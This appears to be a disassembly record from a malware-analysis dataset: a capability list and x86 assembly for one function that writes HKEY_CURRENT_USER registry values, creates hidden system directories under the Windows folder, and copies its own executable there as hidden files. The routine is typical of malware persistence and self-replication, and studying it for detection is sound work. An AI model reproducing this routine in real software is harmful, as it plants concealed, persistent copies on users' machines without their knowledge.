Function at 0x402080
Capabilities:
Copy file
Create directory
Get common file path
Set file attributes
Set registry value

Disassembly:
push ecx
mov ecx, dword [0x40642c]
mov edx, dword [ecx + 0x64]
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x2001b
xor ebx, ebx
push ebx
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.MSVCR80.dll_wcscat_s]
jne 0x402189
mov eax, dword [0x406450]
push 0x18e
push eax
call esi
mov eax, dword [0x406450]
mov ecx, dword [0x40642c]
mov word [eax + 6], bx
mov edx, dword [ecx + 4]
push edx
push 0x18e
push eax
call edi
mov ecx, dword [0x406450]
mov eax, ecx
add esp, 0xc
lea edx, [eax + 2]
mov bp, word [eax]
add eax, 2
cmp bp, bx
jne 0x4020f1
sub eax, edx
sar eax, 1
add eax, eax
push eax
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [0x40642c]
mov edx, dword [ecx + 0x68]
push 1
push ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [0x406450]
push 0x18e
push ecx
call esi
mov eax, dword [0x406450]
mov edx, dword [0x40642c]
mov word [eax + 6], bx
mov ecx, dword [edx + 8]
push ecx
push 0x18e
push eax
call edi
mov ecx, dword [0x406450]
mov eax, ecx
add esp, 0xc
lea edx, [eax + 2]
mov bp, word [eax]
add eax, 2
cmp bp, bx
jne 0x402153
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
mov eax, dword [0x40642c]
push edx
mov edx, dword [esp + 0x14]
push ecx
mov ecx, dword [eax + 0x6c]
push 1
push ebx
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [0x40642c]
mov eax, dword [edx + 0x70]
lea ecx, [esp + 0x10]
push ecx
push 0x2001b
push ebx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402287
mov ecx, dword [0x406450]
push 0x18e
push ecx
call esi
mov eax, dword [0x406450]
mov edx, dword [0x40642c]
mov word [eax + 6], bx
mov ecx, dword [edx + 0x14]
push ecx
push 0x18e
push eax
call edi
mov ecx, dword [0x406450]
mov eax, ecx
add esp, 0xc
lea edx, [eax + 2]
jmp 0x4021f0
mov bp, word [eax]
add eax, 2
cmp bp, bx
jne 0x4021f0
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
mov eax, dword [0x40642c]
push edx
mov edx, dword [esp + 0x14]
push ecx
mov ecx, dword [eax + 0x74]
push 1
push ebx
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [0x406450]
push 0x18e
push eax
call esi
mov eax, dword [0x406450]
mov ecx, dword [0x40642c]
mov word [eax + 6], bx
mov edx, dword [ecx + 0x18]
push edx
push 0x18e
push eax
call edi
mov ecx, dword [0x406450]
mov eax, ecx
add esp, 0xc
lea edx, [eax + 2]
mov bp, word [eax]
add eax, 2
cmp bp, bx
jne 0x402251
sub eax, edx
sar eax, 1
add eax, eax
push eax
mov eax, dword [esp + 0x14]
push ecx
mov ecx, dword [0x40642c]
mov edx, dword [ecx + 0x78]
push 1
push ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [0x406450]
push 0x18e
push edx
call esi
mov eax, dword [0x406450]
mov ecx, dword [0x40642c]
mov word [eax + 6], bx
mov edx, dword [ecx + 0x1c]
push edx
push 0x18e
push eax
call edi
mov eax, dword [0x406450]
add esp, 0xc
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [0x406450]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 6
push ecx
call ebp
mov edx, dword [0x406450]
push 0x18e
push edx
call esi
mov eax, dword [0x406450]
mov ecx, dword [0x40642c]
mov word [eax + 6], bx
mov edx, dword [ecx + 0x20]
push edx
push 0x18e
push eax
call edi
mov eax, dword [0x406450]
add esp, 0xc
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [0x406450]
push 6
push ecx
call ebp
push 0x320
call dword [sym.imp.MSVCR80.dll_malloc]
add esp, 4
push 0x18e
mov ebx, eax
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, dword [0x406450]
push 0x18e
push edx
call esi
mov eax, dword [0x406450]
mov ecx, dword [0x40642c]
mov word [eax + 6], 0
mov edx, dword [ecx + 4]
push edx
push 0x18e
push eax
call edi
mov eax, dword [0x406450]
add esp, 0xc
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [0x406450]
push 6
push ecx
call ebp
mov edx, dword [0x406450]
push 0x18e
push edx
call esi
mov eax, dword [0x406450]
mov ecx, dword [0x40642c]
mov word [eax + 6], 0
mov edx, dword [ecx + 8]
push edx
push 0x18e
push eax
call edi
mov eax, dword [0x406450]
add esp, 0xc
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [0x406450]
push 6
push ecx
call ebp
mov edx, dword [0x406450]
push 0x18e
push edx
call esi
mov eax, dword [0x406450]
mov ecx, dword [0x40642c]
mov word [eax + 6], 0
mov edx, dword [ecx + 0x14]
push edx
push 0x18e
push eax
call edi
mov eax, dword [0x406450]
add esp, 0xc
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [0x406450]
push 6
push ecx
call ebp
mov edx, dword [0x406450]
push 0x18e
push edx
call esi
mov eax, dword [0x406450]
mov ecx, dword [0x40642c]
mov word [eax + 6], 0
mov edx, dword [ecx + 0x18]
push edx
push 0x18e
push eax
call edi
mov eax, dword [0x406450]
add esp, 0xc
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [0x406450]
push 6
push ecx
call ebp
push ebx
call dword [sym.imp.MSVCR80.dll_free]
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret